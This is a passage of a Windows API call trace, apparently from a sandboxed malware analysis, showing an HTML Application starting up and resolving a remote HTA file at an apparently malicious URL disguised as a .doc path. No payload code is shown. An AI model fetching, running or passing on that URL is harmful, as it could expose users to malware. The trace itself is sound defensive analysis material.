Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3bdf1c | out: ppvObject=0x3bdf1c*=0x6fbd8c70) returned 0x0 [0031.886] IUnknown:Release (This=0x6fbd8c70) [0031.886] IUnknown:QueryInterface (in: This=0x6fbd8c70, riid=0x7548aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3be0dc | out: ppvObject=0x3be0dc*=0x6fbd8c7c) returned 0x0 [0031.886] IUnknown:Release (This=0x6fbd8c70) [0031.886] IInternetProtocolInfo:ParseUrl (in: This=0x6fbd8c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x7a37f0, cchResult=0xc, pcchResult=0x3be124, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x3be124*=0xc) returned 0x0 [0031.886] IUnknown:Release (This=0x6fbd8c7c) [0031.886] DllGetClassObject (in: rclsid=0x7b3040*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75464430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bdff0 | out: ppv=0x3bdff0*=0x6fbd8c70) returned 0x0 [0031.886] IUnknown:QueryInterface (in: This=0x6fbd8c70, riid=0x7548aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3be0dc | out: ppvObject=0x3be0dc*=0x6fbd8c7c) returned 0x0 [0031.886] IUnknown:Release (This=0x6fbd8c70) [0031.886] IInternetProtocolInfo:ParseUrl (in: This=0x6fbd8c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x7a37f0, cchResult=0xc, pcchResult=0x3be134, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3be134*=0x0) returned 0x800c0011 [0031.886] IUnknown:Release (This=0x6fbd8c7c) [0031.886] IUnknown:Release (This=0x7ac124) returned 0x2 [0031.887] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x3be6f4, dwReserved=0x0 | out: ppSM=0x3be6f4*=0x7b7850) returned 0x0 [0031.887] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3be8a4 | out: phkResult=0x3be8a4*=0x21c) returned 0x0 [0031.887] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3be8a8 | out: phkResult=0x3be8a8*=0x228) returned 0x0 [0031.887] RegOpenKeyExW (in: hKey=0x228, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x3be864 | out: phkResult=0x3be864*=0x0) returned 0x2 [0031.887] RegOpenKeyExW (in: hKey=0x21c, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x3be864 | out: phkResult=0x3be864*=0x0) returned 0x2 [0031.887] RegCloseKey (hKey=0x0) returned 0x6 [0031.887] RegCloseKey (hKey=0x0) returned 0x6 [0031.887] RegCloseKey (hKey=0x21c) returned 0x0 [0031.887] RegCloseKey (hKey=0x228) returned 0x0 [0031.888] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x3be6e8 | out: ppURI=0x3be6e8*=0x7ac124) returned 0x0 [0031.888] DllGetClassObject (in: rclsid=0x7b3040*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75464430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bdfc0 | out: ppv=0x3bdfc0*=0x6fbd8c70) returned 0x0 [0031.888] IUnknown:QueryInterface (in: This=0x6fbd8c70, riid=0x7548aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3be0ac | out: ppvObject=0x3be0ac*=0x6fbd8c7c) returned 0x0 [0031.888] IUnknown:Release (This=0x6fbd8c70) [0031.888] IInternetProtocolInfo:ParseUrl (in: This=0x6fbd8c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x7a37f0, cchResult=0xc, pcchResult=0x3be0f4, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x3be0f4*=0xc) returned 0x0 [0031.888] IUnknown:Release (This=0x6fbd8c7c) [0031.888] DllGetClassObject (in: rclsid=0x7b3040*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75464430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bdfc0 | out: ppv=0x3bdfc0*=0x6fbd8c70) returned 0x0 [0031.888] IUnknown:QueryInterface (in: This=0x6fbd8c70, riid=0x7548aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3be0ac | out: ppvObject=0x3be0ac*=0x6fbd8c7c) returned 0x0 [0031.888] IUnknown:Release (This=0x6fbd8c70) [0031.889] IInternetProtocolInfo:ParseUrl (in: This=0x6fbd8c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x7a37f0, cchResult=0xc, pcchResult=0x3be104, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3be104*=0x0) returned 0x800c0011 [0031.889] IUnknown:Release (This=0x6fbd8c7c) [0031.889] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0031.889] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0031.889] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0031.889] IUnknown:Release (This=0x7ac124) returned 0x2 [0031.889] GetDC (hWnd=0x0) returned 0x200107e4 [0031.889] GetDeviceCaps (hdc=0x200107e4, index=88) returned 96 [0031.889] ReleaseDC (hWnd=0x0, hDC=0x200107e4) returned 1 [0031.889] MulDiv (nNumber=100000, nNumerator=96, nDenominator=96) returned 100000 [0031.890] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3be940 | out: phkResult=0x3be940*=0x148) returned 0x0 [0031.890] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3be944 | out: phkResult=0x3be944*=0x21c) returned 0x0 [0031.890] RegOpenKeyExW (in: hKey=0x21c, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x3be900 | out: phkResult=0x3be900*=0x0) returned 0x2 [0031.890] RegOpenKeyExW (in: hKey=0x148, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x3be900 | out: phkResult=0x3be900*=0x0) returned 0x2 [0031.890] RegCloseKey (hKey=0x0) returned 0x6 [0031.890] RegCloseKey (hKey=0x0) returned 0x6 [0031.890] RegCloseKey (hKey=0x148) returned 0x0 [0031.890] RegCloseKey (hKey=0x21c) returned 0x0 [0031.890] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76520000 [0031.890] GetProcAddress (hModule=0x76520000, lpProcName="InitializeSRWLock") returned 0x778d8456 [0031.890] GetProcAddress (hModule=0x76520000, lpProcName="AcquireSRWLockExclusive") returned 0x778d29f1 [0031.891] GetProcAddress (hModule=0x76520000, lpProcName="AcquireSRWLockShared") returned 0x778d2560 [0031.891] GetProcAddress (hModule=0x76520000, lpProcName="ReleaseSRWLockExclusive") returned 0x778d29ab [0031.891] GetProcAddress (hModule=0x76520000, lpProcName="ReleaseSRWLockShared") returned 0x778d25a9 [0031.891] RtlInitializeConditionVariable () returned 0x7be924 [0031.891] IUnknown:Release (This=0x6fbd8cb0) [0031.892] IUnknown_QueryService (in: punk=0x6fbd96a4, guidService=0x6f86880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x6f86880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x7b52d0 | out: ppvOut=0x7b52d0*=0x0) returned 0x80004005 [0031.892] IUnknown:QueryInterface (in: This=0x6fbd96a4, riid=0x767942d8*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3bf690 | out: ppvObject=0x3bf690*=0x6fbd96b8) returned 0x0 [0031.892] IServiceProvider:QueryService (in: This=0x6fbd96b8, guidService=0x6f86880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x6f86880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x7b52d0 | out: ppvObject=0x7b52d0*=0x0) returned 0x80004005 [0031.893] IUnknown:Release (This=0x6fbd96b8) returned 0x1 [0031.893] IInternetSecurityManager:SetSecuritySite (This=0x7b70c8, pSite=0x7b59b4) returned 0x0 [0031.893] IUnknown:Release (This=0x7b59b4) returned 0x0 [0031.893] IUnknown:AddRef (This=0x7b59b4) returned 0x28 [0031.893] IUnknown:QueryInterface (in: This=0x7b59b4, riid=0x754761d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3bf6c8 | out: ppvObject=0x3bf6c8*=0x7b59b8) returned 0x0 [0031.893] IServiceProvider:QueryService (in: This=0x7b59b8, guidService=0x7547f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7547f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x7b70f0 | out: ppvObject=0x7b70f0*=0x0) returned 0x80004002 [0031.893] IServiceProvider:QueryService (in: This=0x7b59b8, guidService=0x7547f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7547f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x7b70ec | out: ppvObject=0x7b70ec*=0x0) returned 0x80004002 [0031.893] IServiceProvider:QueryService (in: This=0x7b59b8, guidService=0x7546c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7546c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x7b70e8 | out: ppvObject=0x7b70e8*=0x6fbd96bc) returned 0x0 [0031.893] IUnknown:Release (This=0x7b59b8) returned 0x0 [0031.893] CoTaskMemAlloc (cb=0x6d) returned 0x7be9d8 [0031.893] CoTaskMemAlloc (cb=0x9) returned 0x794a18 [0031.894] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0 [0031.898] IsCharSpaceW (wch=0x48) returned 0 [0031.898] IsCharAlphaNumericW (ch=0x5c) returned 0 [0031.899] IsCharSpaceW (wch=0x5c) returned 0 [0031.899] IsCharSpaceW (wch=0x41) returned 0 [0031.899] IsCharAlphaNumericW (ch=0x20) returned 0 [0031.899] IsCharSpaceW (wch=0x20) returned 1 [0031.899] IsCharSpaceW (wch=0x7b) returned 0 [0031.899] IsCharSpaceW (wch=0x20) returned 1 [0031.899] IsCharAlphaNumericW (ch=0x7b) returned 0 [0031.899] IsCharSpaceW (wch=0x62) returned 0 [0031.899] IsCharAlphaNumericW (ch=0x3a) returned 0 [0031.899] IsCharSpaceW (wch=0x3a) returned 0 [0031.916] IsCharAlphaNumericW (ch=0x3a) returned 0 [0031.916] IsCharSpaceW (wch=0x75) returned 0 [0031.916] IsCharAlphaNumericW (ch=0x28) returned 0 [0031.916] IsCharSpaceW (wch=0x28) returned 0 [0031.916] IsCharAlphaNumericW (ch=0x28) returned 0 [0031.916] IsCharSpaceW (wch=0x23) returned 0 [0031.916] IsCharSpaceW (wch=0x23) returned 0 [0031.916] IsCharSpaceW (wch=0x7d) returned 0 [0031.916] IsCharAlphaNumericW (ch=0x7d) returned 0 [0031.916] IsCharSpaceW (wch=0x29) returned 0 [0031.916] IsCharSpaceW (wch=0x75) returned 0 [0031.916] IsCharSpaceW (wch=0x75) returned 0 [0031.916] IsCharSpaceW (wch=0x29) returned 0 [0031.916] CoTaskMemFree (pv=0x7be9d8) [0031.916] CoTaskMemFree (pv=0x794a18) [0031.916] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76910000 [0031.917] GetProcAddress (hModule=0x76910000, lpProcName=0x6) returned 0x76913e59 [0031.917] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14 [0031.917] IsOS (dwOS=0x25) returned 1 [0031.917] GetSysColor (nIndex=26) returned 0xcc6600 [0031.917] IsOS (dwOS=0x25) returned 1 [0031.917] GetSysColor (nIndex=5) returned 0xffffff [0031.917] GetSysColor (nIndex=8) returned 0x0 [0031.920] wcstol (in: _String="0,0,255", _EndPtr=0x3be324, _Radix=10 | out: _EndPtr=0x3be324*=",0,255") returned 0 [0031.920] wcstol (in: _String="0,255", _EndPtr=0x3be324, _Radix=10 | out: _EndPtr=0x3be324*=",255") returned 0 [0031.920] wcstol (in: _String="255", _EndPtr=0x3be324, _Radix=10 | out: _EndPtr=0x3be324*="") returned 255 [0031.920] wcstol (in: _String="128,0,128", _EndPtr=0x3be324, _Radix=10 | out: _EndPtr=0x3be324*=",0,128") returned 128 [0031.920] wcstol (in: _String="0,128", _EndPtr=0x3be324, _Radix=10 | out: _EndPtr=0x3be324*=",128") returned 0 [0031.920] wcstol (in: _String="128", _EndPtr=0x3be324, _Radix=10 | out: _EndPtr=0x3be324*="") returned 128 [0031.921] GetModuleHandleW (lpModuleName="EXPLORER.EXE") returned 0x0 [0031.921] GetModuleHandleW (lpModuleName="IEXPLORE.EXE") returned 0x0 [0031.921] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\PageSetup", ulOptions=0x0, samDesired=0x20019, phkResult=0x3bf3dc | out: phkResult=0x3bf3dc*=0xa8) returned 0x0 [0031.922] SHGetValueW (in: hkey=0xa8, pszSubKey=0x0, pszValue="Print_Background", pdwType=0x0, pvData=0x3bf3e0, pcbData=0x3bf3d8*=0xa | out: pdwType=0x0, pvData=0x3bf3e0, pcbData=0x3bf3d8*=0xa) returned 0x2 [0031.922] RegCloseKey (hKey=0xa8) returned 0x0 [0031.932] GetAcceptLanguagesW () returned 0x0 [0031.932] GetClassNameW (in: hWnd=0x30224, lpClassName=0x3bf6ac, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0031.932] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0031.932] GetParent (hWnd=0x30224) returned 0x401f2 [0031.932] GetClassNameW (in: hWnd=0x401f2, lpClassName=0x3bf6ac, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0031.932] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0031.932] GetParent (hWnd=0x401f2) returned 0x0 [0031.934] IMoniker:GetDisplayName (in: This=0x7b14d8, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x3bf670 | out: ppszDisplayName=0x3bf670*="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x0 [0031.934] IUnknown:QueryInterface (in: This=0x7b14d8, riid=0x6f7d72f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x3bf648 | out: ppvObject=0x3bf648*=0x7b14e4) returned 0x0 [0031.934] IUriContainer:GetIUri (in: This=0x7b14e4, ppIUri=0x3bf678 | out: ppIUri=0x3bf678*=0x7ac484) returned 0x0 [0031.934] IUnknown:Release (This=0x7b14e4) returned 0x1 [0031.934] IUnknown:AddRef (This=0x7b14d8) returned 0x2 [0031.934] IUnknown:AddRef (This=0x7ac484) returned 0x5 [0031.934] IMoniker:GetDisplayName (in: This=0x7b14d8, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x3bf550 | out: ppszDisplayName=0x3bf550*="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x0 [0031.934] UrlGetLocationW (psz1="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x0 [0031.934] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppmk=0x3bf51c*=0x0, dwFlags=0x1 | out: ppmk=0x3bf51c*=0x7c2088) returned 0x0 [0031.935] CreateUri (in: pwzURI="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x3bf514 | out: ppURI=0x3bf514*=0x7ac484) returned 0x0 [0031.935] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x3bf4ac | out: pdwScheme=0x3bf4ac*=0x2) returned 0x0 [0031.935] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1 [0031.935] IUnknown:AddRef (This=0x7ac484) returned 0x9 [0031.935] IUri:GetAbsoluteUri (in: This=0x7ac484, pbstrAbsoluteUri=0x7b7dd8 | out: pbstrAbsoluteUri=0x7b7dd8*="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x0 [0031.935] IUnknown:Release (This=0x7ac484) returned 0x8 [0031.935] IUnknown:AddRef (This=0x7c2088) returned 0x2 [0031.935] IUnknown:Release (This=0x7c2088) returned 0x1 [0031.935] IUnknown:AddRef (This=0x7b14d8) returned 0x3 [0031.935] IUnknown:Release (This=0x7c2088) returned 0x0 [0031.935] IUnknown:AddRef (This=0x7b14d8) returned 0x4 [0031.935] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bf31c | out: ppvObject=0x3bf31c*=0x7ac484) returned 0x0 [0031.935] IUnknown:Release (This=0x7ac484) returned 0x6 [0031.935] IUnknown:AddRef (This=0x7ac484) returned 0x7 [0031.935] IUnknown:QueryInterface (in: This=0x7b14d8, riid=0x6f7d72f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x3bf2f0 | out: ppvObject=0x3bf2f0*=0x7b14e4) returned 0x0 [0031.935] IUriContainer:GetIUri (in: This=0x7b14e4, ppIUri=0x3bf344 | out: ppIUri=0x3bf344*=0x7ac484) returned 0x0 [0031.935] IUnknown:Release (This=0x7b14e4) returned 0x4 [0031.935] IUnknown:AddRef (This=0x7b14d8) returned 0x5 [0031.935] IUnknown:Release (This=0x7b14d8) returned 0x4 [0031.935] IUnknown:AddRef (This=0x7ac484) returned 0x9 [0031.935] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bf31c | out: ppvObject=0x3bf31c*=0x7ac484) returned 0x0 [0031.936] IUnknown:Release (This=0x7ac484) returned 0x9 [0031.936] IUnknown:AddRef (This=0x7ac484) returned 0xa [0031.936] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x3bf314 | out: pdwScheme=0x3bf314*=0x2) returned 0x0 [0031.936] GetCurrentProcessId () returned 0x9c0 [0031.936] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bf31c | out: ppvObject=0x3bf31c*=0x7ac484) returned 0x0 [0031.936] IUnknown:Release (This=0x7ac484) returned 0xa [0031.936] IUnknown:AddRef (This=0x7ac484) returned 0xb [0031.936] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x3bf2ec | out: pdwScheme=0x3bf2ec*=0x2) returned 0x0 [0031.936] IUri:GetAbsoluteUri (in: This=0x7ac484, pbstrAbsoluteUri=0x3bf31c | out: pbstrAbsoluteUri=0x3bf31c*="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x0 [0031.936] GetProcAddress (hModule=0x76910000, lpProcName=0x7) returned 0x76914680 [0031.936] SysStringLen (param_1="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x30 [0031.936] CreateUri (in: pwzURI="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x3bf338 | out: ppURI=0x3bf338*=0x7ac484) returned 0x0 [0031.936] IUnknown:Release (This=0x7ac484) returned 0xb [0031.936] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x3bf2cc | out: pdwScheme=0x3bf2cc*=0x2) returned 0x0 [0031.936] IUnknown:AddRef (This=0x7ac484) returned 0xc [0031.936] IUri:GetPropertyDWORD (in: This=0x7ac484, uriProp=0x11, pdwProperty=0x3bf0ac, dwFlags=0x0 | out: pdwProperty=0x3bf0ac*=0x2) returned 0x0 [0031.936] IInternetSecurityManager:GetSecurityId (in: This=0x7b70c8, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pbSecurityId=0x3bf110, pcbSecurityId=0x3bf10c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3bf110*=0x68, pcbSecurityId=0x3bf10c*=0x16) returned 0x0 [0031.936] IInternetSecurityManager:GetSecurityId (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pbSecurityId=0x3bf110, pcbSecurityId=0x3bf10c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3bf110*=0x0, pcbSecurityId=0x3bf10c*=0x200) returned 0x800c0011 [0032.336] IUnknown:Release (This=0x7ac484) returned 0xb [0032.336] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3bf2c8 | out: ppu=0x3bf2c8) returned 0x0 [0032.336] GetDC (hWnd=0x0) returned 0x200107e4 [0032.336] CreateCompatibleBitmap (hdc=0x200107e4, cx=1, cy=1) returned 0x1050915 [0032.336] GetDIBits (in: hdc=0x200107e4, hbm=0x1050915, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3bee98, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3bee98) returned 1 [0032.337] GetDIBits (in: hdc=0x200107e4, hbm=0x1050915, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3bee98, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3bee98) returned 1 [0032.337] DeleteObject (ho=0x1050915) returned 1 [0032.337] GetSysColor (nIndex=0) returned 0xc8c8c8 [0032.337] GetSysColor (nIndex=1) returned 0x0 [0032.337] GetSysColor (nIndex=2) returned 0xd1b499 [0032.337] GetSysColor (nIndex=3) returned 0xdbcdbf [0032.337] GetSysColor (nIndex=4) returned 0xf0f0f0 [0032.337] GetSysColor (nIndex=5) returned 0xffffff [0032.337] GetSysColor (nIndex=6) returned 0x646464 [0032.337] GetSysColor (nIndex=7) returned 0x0 [0032.337] GetSysColor (nIndex=8) returned 0x0 [0032.337] GetSysColor (nIndex=9) returned 0x0 [0032.337] GetSysColor (nIndex=10) returned 0xb4b4b4 [0032.337] GetSysColor (nIndex=11) returned 0xfcf7f4 [0032.337] GetSysColor (nIndex=12) returned 0xababab [0032.337] GetSysColor (nIndex=13) returned 0xff9933 [0032.337] GetSysColor (nIndex=14) returned 0xffffff [0032.337] GetSysColor (nIndex=15) returned 0xf0f0f0 [0032.337] GetSysColor (nIndex=16) returned 0xa0a0a0 [0032.337] GetSysColor (nIndex=17) returned 0x6d6d6d [0032.337] GetSysColor (nIndex=18) returned 0x0 [0032.337] GetSysColor (nIndex=19) returned 0x544e43 [0032.337] GetSysColor (nIndex=20) returned 0xffffff [0032.337] GetSysColor (nIndex=21) returned 0x696969 [0032.337] GetSysColor (nIndex=22) returned 0xe3e3e3 [0032.337] GetSysColor (nIndex=23) returned 0x0 [0032.337] GetSysColor (nIndex=24) returned 0xe1ffff [0032.337] GetSysColor (nIndex=25) returned 0x0 [0032.337] GetSysColor (nIndex=26) returned 0xcc6600 [0032.337] GetSysColor (nIndex=27) returned 0xead1b9 [0032.337] GetSysColor (nIndex=28) returned 0xf2e4d7 [0032.337] GetSysColor (nIndex=29) returned 0xff9933 [0032.337] GetSysColor (nIndex=30) returned 0xf0f0f0 [0032.337] GetSysColor (nIndex=31) returned 0x0 [0032.337] GetSysColor (nIndex=32) returned 0x0 [0032.337] GetSysColor (nIndex=33) returned 0x0 [0032.337] GetSysColor (nIndex=34) returned 0x0 [0032.337] GetSysColor (nIndex=35) returned 0x0 [0032.337] GetSysColor (nIndex=36) returned 0x0 [0032.337] GetSysColor (nIndex=37) returned 0x0 [0032.337] GetSysColor (nIndex=38) returned 0x0 [0032.337] GetSysColor (nIndex=39) returned 0x0 [0032.337] GetSysColor (nIndex=40) returned 0x0 [0032.337] GetSysColor (nIndex=41) returned 0x0 [0032.338] GetSysColor (nIndex=42) returned 0x0 [0032.338] GetSysColor (nIndex=43) returned 0x0 [0032.338] GetSysColor (nIndex=44) returned 0x0 [0032.338] GetSysColor (nIndex=45) returned 0x0 [0032.338] GetSysColor (nIndex=46) returned 0x0 [0032.338] GetSysColor (nIndex=47) returned 0x0 [0032.338] GetSysColor (nIndex=48) returned 0x0 [0032.338] GetSysColor (nIndex=49) returned 0x0 [0032.338] GetSysColor (nIndex=50) returned 0x0 [0032.338] GetSysColor (nIndex=51) returned 0x0 [0032.338] GetSysColor (nIndex=52) returned 0x0 [0032.338] GetSysColor (nIndex=53) returned 0x0 [0032.338] GetSysColor (nIndex=54) returned 0x0 [0032.338] GetSysColor (nIndex=55) returned 0x0 [0032.338] GetSysColor (nIndex=56) returned 0x0 [0032.338] GetSysColor (nIndex=57) returned 0x0 [0032.338] GetSysColor (nIndex=58) returned 0x0 [0032.338] GetSysColor (nIndex=59) returned 0x0 [0032.338] GetSysColor (nIndex=60) 